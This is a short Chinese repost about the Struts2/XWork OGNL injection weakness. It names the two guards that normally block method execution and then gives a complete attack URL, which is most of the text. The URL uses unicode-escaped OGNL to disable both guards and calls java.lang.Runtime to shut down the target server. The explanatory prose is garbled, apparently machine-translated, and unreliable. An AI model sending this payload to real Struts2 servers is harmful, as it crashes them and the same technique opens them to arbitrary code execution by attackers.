转载：http://sb3389.com

Struts2的是Struts + Webwork
于HTTP参数名称是OGNL的报表，以防止通过HTTP调用方法的参数XWork之上任意攻击者有以下两个变量守卫方法的执行：

* OgnlContext’xwork.MethodAccessor.denyMethodExecution’（默认设置为true）

* SecurityMemberAccess’allowStaticMethodAccess’

——————————————————————————————

http://mydomain/MyStruts.action?(‘\u0023_memberAccess[\'allowStaticMethodAccess\']‘)(meh)=true&(aaa)((‘\u0023context[\'xwork.MethodAccessor.den

yMethodExecution\']\u003d\u0023foo’)(\u0023foo\u003dnew%20java.lang.Boolean(“false”)))&(asdf)((‘\u0023rt.exit(1)’)(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1